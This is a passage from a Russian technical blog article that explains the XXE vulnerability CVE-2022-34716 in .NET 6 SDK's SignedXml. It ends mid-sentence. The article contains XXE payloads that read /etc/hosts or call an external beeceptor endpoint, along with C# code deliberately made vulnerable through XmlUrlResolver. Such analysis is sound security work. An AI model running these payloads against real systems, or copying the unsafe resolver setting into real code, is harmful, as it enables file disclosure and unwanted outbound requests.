{"id":358419,"date":"2024-05-21T00:11:22","date_gmt":"2024-05-21T00:11:22","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=358419"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-05-21T00:11:22","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=358419","title":{"rendered":"<span>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c XXE \u0432 .NET 6 SDK: \u0441 \u0447\u0435\u043c \u0431\u043e\u0440\u043e\u043b\u0438\u0441\u044c\u2026<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/zp\/fu\/kk\/zpfukkzo_dmhyngtl1ig9vpal3k.png\" data-src=\"https:\/\/habrastorage.org\/webt\/zp\/fu\/kk\/zpfukkzo_dmhyngtl1ig9vpal3k.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 .NET \u0434\u0430\u0451\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 XXE \u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438: \u043f\u0430\u0440\u0441\u0438\u0448\u044c \u0441\u0435\u0431\u0435 XML \u0438 \u043d\u0435 \u0437\u0430\u0431\u0438\u0432\u0430\u0435\u0448\u044c \u0433\u043e\u043b\u043e\u0432\u0443 \u0432\u0441\u044f\u043a\u0438\u043c\u0438 DTD, \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u043d\u0438\u043c\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0420\u0430\u0437\u0432\u0435 \u043d\u0435 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e? \u041e\u0434\u043d\u0430\u043a\u043e \u0436\u0438\u0437\u043d\u044c \u2014 \u0448\u0442\u0443\u043a\u0430 \u0441 \u0438\u0440\u043e\u043d\u0438\u0435\u0439&#8230;<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e \u043a\u0443\u0441\u043e\u0447\u043a\u0430\u043c XXE \u0438\u0437 .NET 6 SDK: \u043a\u043e\u0434, \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0444\u0438\u043a\u0441.<\/p>\n<p><a name=\"habracut\"><\/a>  <\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435<\/strong>. \u042f \u043f\u0438\u0441\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u044e \u0441 \u0440\u0430\u0441\u0447\u0451\u0442\u043e\u043c \u043d\u0430 \u0447\u0438\u0442\u0430\u0442\u0435\u043b\u044f, \u0443\u0436\u0435 \u0437\u043d\u0430\u043a\u043e\u043c\u043e\u0433\u043e \u0441 XXE. \u0415\u0441\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u0435\u0441\u044c \u0441 \u0442\u0435\u043c\u043e\u0439 \u0438\u043b\u0438 \u043d\u0443\u0436\u043d\u043e \u043e\u0441\u0432\u0435\u0436\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u044d\u0442\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u0441\u0442\u0430\u0442\u044c\u044f &#171;<a href=\"https:\/\/habr.com\/ru\/companies\/pvs-studio\/articles\/650935\/\">\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437-\u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 XML-\u0444\u0430\u0439\u043b\u043e\u0432: XXE \u0432 C# \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0432 \u0442\u0435\u043e\u0440\u0438\u0438 \u0438 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435<\/a>&#171;;<\/li>\n<li>\u0434\u043e\u043a\u043b\u0430\u0434 \u0441 DotNext 2022: &#171;<a href=\"https:\/\/youtu.be\/7L21g7eedtA?si=oJ0iwuGhnkliqVYf\" rel=\"nofollow noopener noreferrer\">\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 XML-\u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u0430\u043a \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439<\/a>&#171;.<\/li>\n<\/ul>\n<p>  <\/p>\n<h2 id=\"xxe-v-net-specifika-xmldocument\">XXE \u0432 .NET: \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430 XmlDocument<\/h2>\n<p>  <\/p>\n<p>XML-\u043f\u0430\u0440\u0441\u0435\u0440\u044b \u0441 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c\u0438 \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c .NET <em>\u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c<\/em> \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b \u043e\u0442 XXE. \u042d\u0442\u043e \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0441\u0447\u0451\u0442 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u043e\u0432 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 DTD \u2014 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0430\u0440\u0441\u0435\u0440\u0430. <\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0447\u0435\u043c\u0443 <em>\u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c<\/em>?<\/p>\n<p>  <\/p>\n<ul>\n<li>\u043d\u0435 \u0432\u043e\u0437\u044c\u043c\u0443\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u0437\u0430 \u0432\u0441\u0435 \u043f\u0430\u0440\u0441\u0435\u0440\u044b;<\/li>\n<li>\u0435\u0441\u043b\u0438 \u0431\u044b \u0432\u0441\u0435 \u043f\u0430\u0440\u0441\u0435\u0440\u044b \u0431\u044b\u043b\u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u044b, \u0442\u043e \u0438 \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0435 \u0431\u044b\u043b\u043e \u0431\u044b \ud83d\ude42<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438\u0437 .NET 6, \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0443 \u0442\u0438\u043f\u0430 <code>XmlDocument<\/code>. \u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u043f\u0440\u0438\u043c\u0435\u0440\u0430. \u0422\u0430\u043a\u043e\u0439 \u043a\u043e\u0434 \u0432 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c .NET \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 XXE:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">XmlDocument xmlDoc = new XmlDocument(); xmlDoc.Load(xmlStream); \/\/ Processing...<\/code><\/pre>\n<p>  <\/p>\n<p>\u0423\u0431\u0435\u0434\u0438\u043c\u0441\u044f \u0432 \u044d\u0442\u043e\u043c \u2014 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c XML-\u043f\u0430\u0440\u0441\u0435\u0440\u043e\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0438 \u0440\u0430\u0441\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u044c:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">static void ProcessXml(Stream xmlStream) {     var xmlDoc = new XmlDocument();            xmlDoc.Load(xmlStream);      \/\/ Processing...     Console.WriteLine(xmlDoc.InnerText); }<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 XML:<\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">&lt;?xml version=\"1.0\" encoding=\"utf-8\"?> &lt;!DOCTYPE xxeExample [     &lt;!ENTITY query SYSTEM \"file:\/\/\/etc\/hosts\" > ]> &lt;xxeExample>     &amp;query; &lt;\/xxeExample><\/code><\/pre>\n<p>  <\/p>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u043f\u0443\u0441\u0442\u043e\u0439 \u0432\u044b\u0445\u043b\u043e\u043f.<\/p>\n<p>  <\/p>\n<p>XML-\u043f\u0430\u0440\u0441\u0435\u0440 \u043d\u0435 \u0432\u044b\u043a\u0438\u043d\u0443\u043b \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u043d\u043e \u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c \u043d\u0435 \u0441\u0442\u0430\u043b. \u0421 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430: \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043f\u0430\u0440\u0441\u0435\u0440 \u0438\u0445 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442. <\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u0432\u0435\u0434\u0451\u043d\u043d\u044b\u0439 \u0432\u044b\u0448\u0435 \u043a\u043e\u0434 \u043b\u0435\u0433\u043a\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u043c, \u043f\u0440\u043e\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>XmlResolver<\/code>:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">static void ProcessXml(Stream xmlStream) {     XmlDocument xmlDoc = new XmlDocument()     {         XmlResolver = new XmlUrlResolver()     };      xmlDoc.Load(xmlStream);      \/\/ Processing...     Console.WriteLine(xmlDoc.InnerText); }<\/code><\/pre>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u043f\u0430\u0440\u0441\u0438\u0442\u044c \u0442\u043e\u0442 \u0436\u0435 XML, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0438\u0448\u0435\u0442 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0444\u0430\u0439\u043b\u0430 hosts:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/_g\/my\/cd\/_gmycdmgqkorx140bwqgpiraxgo.png\" data-src=\"https:\/\/habrastorage.org\/webt\/_g\/my\/cd\/_gmycdmgqkorx140bwqgpiraxgo.png\"\/> <\/p>\n<p>  <\/p>\n<p>\u0421 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430 \u2014 \u043c\u0435\u043d\u044f\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043e\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0433\u043e \u043d\u0430 \u0432\u0445\u043e\u0434 XML-\u0444\u0430\u0439\u043b\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0443\u044e \u0432 \u043d\u0451\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443. <\/p>\n<p>  <\/p>\n<p>XML \u0441 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0440\u0435\u0441\u0443\u0440\u0441\u0443 (URI \u0441\u043e\u043a\u0440\u0430\u0449\u0451\u043d):<\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">&lt;?xml version=\"1.0\" encoding=\"utf-8\"?> &lt;!DOCTYPE xxeExample [     &lt;!ENTITY query SYSTEM \"https:\/\/*.beeceptor.com\/xxe?data=Memento%20mori\"> ]> &lt;xxeExample>&amp;query;&lt;\/xxeExample><\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0439\u043c\u0430\u043d\u043d\u044b\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/vn\/zv\/bm\/vnzvbm-rz_kqwhotkgheleczufs.png\" data-src=\"https:\/\/habrastorage.org\/webt\/vn\/zv\/bm\/vnzvbm-rz_kqwhotkgheleczufs.png\"\/><\/p>\n<p>  <\/p>\n<p><strong>\u0412\u044b\u0432\u043e\u0434<\/strong>: \u0432 .NET \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b <code>XmlDocument<\/code> \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438, \u0442\u0430\u043a \u043a\u0430\u043a \u0443 \u043d\u0438\u0445 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440. \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0430\u0440\u0441\u0435\u0440 \u0441\u0442\u0430\u043d\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c, \u0435\u0441\u043b\u0438 \u044f\u0432\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>XmlResolver<\/code> \u043e\u043f\u0430\u0441\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u043c <code>XmlUrlResolver<\/code> \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438).<\/p>\n<p>  <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0410 \u0432\u043e\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 .NET Framework \u0432\u0441\u0451 \u043d\u0435 \u0442\u0430\u043a \u0440\u0430\u0434\u0443\u0436\u043d\u043e.<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<p>\u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u0445 \u043f\u0430\u0440\u0441\u0435\u0440\u043e\u0432 \u0432 .NET Framework \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430, \u043d\u043e \u0438 \u043e\u0442 \u0440\u044f\u0434\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043e\u0432. \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u044d\u0442\u0443 \u0442\u0435\u043c\u0443 \u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b \u0432 \u0434\u043e\u043a\u043b\u0430\u0434\u0435 &#171;<a href=\"https:\/\/dotnext.ru\/talks\/55f6a76e1b7e463b8dbac2bd4e834cac\/\" rel=\"nofollow noopener noreferrer\">\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 XML \u0432 .NET: \u0447\u0430\u0441\u0442\u044c 2<\/a>&#187; \u043d\u0430 DotNext 2023. \u0417\u0430\u043f\u0438\u0441\u044c \u0443\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0435\u0441\u043b\u0438 \u0435\u0441\u0442\u044c \u0431\u0438\u043b\u0435\u0442.<\/p>\n<\/div><\/div>\n<p>  <\/p>\n<h2 id=\"cve-2022-34716-xxe-v-net-6-sdk\">CVE-2022-34716: XXE \u0432 .NET 6 SDK<\/h2>\n<p>  <\/p>\n<h3 id=\"obschaya-informaciya\">\u041e\u0431\u0449\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/h3>\n<p>  <\/p>\n<p>\u041e\u0442 \u043e\u0431\u0449\u0435\u0439 \u0442\u0435\u043e\u0440\u0438\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u043c \u043a \u043d\u0430\u0448\u0435\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0442\u0435\u043c\u0435 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2022-34716.<br \/>  \u041e\u0431\u044b\u0447\u043d\u043e Microsoft \u043d\u0435 \u0434\u0430\u0451\u0442 \u043c\u043d\u043e\u0433\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u042d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u043d\u0435 \u0441\u0442\u0430\u043b. \u0421 \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b, \u043c\u043e\u0442\u0438\u0432\u0430\u0446\u0438\u044f \u0442\u0430\u043a\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u044f\u0442\u043d\u0430. \u0421 \u0434\u0440\u0443\u0433\u043e\u0439, \u0444\u0430\u043a\u0442 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0444\u0430\u043a\u0442\u043e\u043c: \u0445\u043e\u0447\u0435\u0448\u044c \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u2014 \u0438\u0449\u0438 \u0438\u0445 \u0441\u0430\u043c.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/1g\/1x\/4a\/1g1x4azv3u5slm-uikqoteqjtwu.png\" data-src=\"https:\/\/habrastorage.org\/webt\/1g\/1x\/4a\/1g1x4azv3u5slm-uikqoteqjtwu.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f:<\/p>\n<p>  <\/p>\n<ul>\n<li>.NET Spoofing Vulnerability; <\/li>\n<li>CVE-ID: <a href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2022-34716\" rel=\"nofollow noopener noreferrer\">CVE-2022-34716<\/a>;<\/li>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2022-34716\" rel=\"nofollow noopener noreferrer\">\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0431\u0430\u0437\u0435 NVD<\/a>;<\/li>\n<li><a href=\"https:\/\/github.com\/advisories\/GHSA-2m65-m22p-9wjw\" rel=\"nofollow noopener noreferrer\">\u0437\u0430\u043f\u0438\u0441\u044c \u0432 GHAD<\/a>;<\/li>\n<li>\u0444\u0438\u043a\u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432 .NET 6.0.8.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u0435\u0441\u043b\u0438 \u043f\u043e\u043a\u043e\u043f\u0430\u0442\u044c\u0441\u044f \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0447\u0443\u0442\u044c \u043f\u043e\u0431\u043e\u043b\u044c\u0448\u0435, \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438: <a href=\"https:\/\/packetstormsecurity.com\/files\/168332\/.NET-XML-Signature-Verification-External-Entity-Injection.html\" rel=\"nofollow noopener noreferrer\">link #1<\/a>, <a href=\"https:\/\/exchange.xforce.ibmcloud.com\/vulnerabilities\/232148\" rel=\"nofollow noopener noreferrer\">link #2<\/a>. \u0418\u0437 \u043d\u0438\u0445 \u0432\u044b\u044f\u0441\u043d\u044f\u0435\u043c, \u0447\u0442\u043e CVE-2022-34716 \u2014 \u044d\u0442\u043e XXE, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0442\u0438\u043f\u043e\u043c <code>System.Security.Cryptography.Xml.SignedXml<\/code>. \u0427\u0442\u043e \u0436, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c PoC \u0438 \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u0441\u043e\u0431\u0435\u0440\u0451\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u043d\u0430 .NET 6 SDK \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043f\u0430\u043a\u0435\u0442\u0430 System.Security.Cryptography.Xml \u2014 6.0.0. \u041a\u043e\u0434 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0442\u0438\u043f\u043e\u043c <code>SignedXml<\/code> \u0432\u043e\u0437\u044c\u043c\u0451\u043c \u0438\u0437 <a href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/system.security.cryptography.xml.signedxml?view=dotnet-plat-ext-7.0\" rel=\"nofollow noopener noreferrer\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a>.<\/p>\n<p>  <\/p>\n<p>\u0421\u043e\u043a\u0440\u0430\u0449\u0451\u043d\u043d\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043a\u043e\u0434\u0430 \u0438\u0437 \u0434\u043e\u043a\u043e\u0432, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u044b\u0439 \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">void ProcessSignedXml(String xmlPath)  {            var xmlDoc = new XmlDocument();            xmlDoc.Load(xmlPath);            var signedXml = new SignedXml(xmlDoc);            signedXml.SigningKey = RSA.Create();             Reference reference = new Reference();            reference.Uri = String.Empty;             var env = new XmlDsigEnvelopedSignatureTransform();            reference.AddTransform(env);             signedXml.AddReference(reference);             signedXml.ComputeSignature();     \/\/ ... }<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0430 \u0432\u0445\u043e\u0434 \u043f\u043e\u0434\u0430\u0451\u043c XML-\u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0438\u0434\u0430:<\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">&lt;?xml version=\"1.0\" encoding=\"utf-8\"?> &lt;!DOCTYPE xxeExample [     &lt;!ENTITY query SYSTEM \"https:\/\/path\/to\/endpoint\"> ]> &lt;xxeExample>&amp;query;&lt;\/xxeExample><\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u043c\u0435\u0441\u0442\u043e <code>path\/to\/endpoint<\/code> \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u043d\u0430 beeceptor.com. \u0415\u0441\u043b\u0438 \u043f\u0440\u0438 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435 XML-\u0444\u0430\u0439\u043b\u0430 \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u043f\u0440\u0438\u0434\u0451\u0442 \u0437\u0430\u043f\u0440\u043e\u0441, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u044b \u0434\u043e\u043a\u043e\u043f\u0430\u043b\u0438\u0441\u044c \u0434\u043e XXE.<\/p>\n<p>  <\/p>\n<p>\u0410\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a\u0438\u043c:<\/p>\n<p>  <\/p>\n<ol>\n<li>\u041e\u0442\u0434\u0430\u0451\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0448\u0435 XML-\u0444\u0430\u0439\u043b \u0432 \u043c\u0435\u0442\u043e\u0434 <code>ProcessSignedXml<\/code>.<\/li>\n<li>\u041e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u0435\u043c \u043a\u043e\u0434 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a API 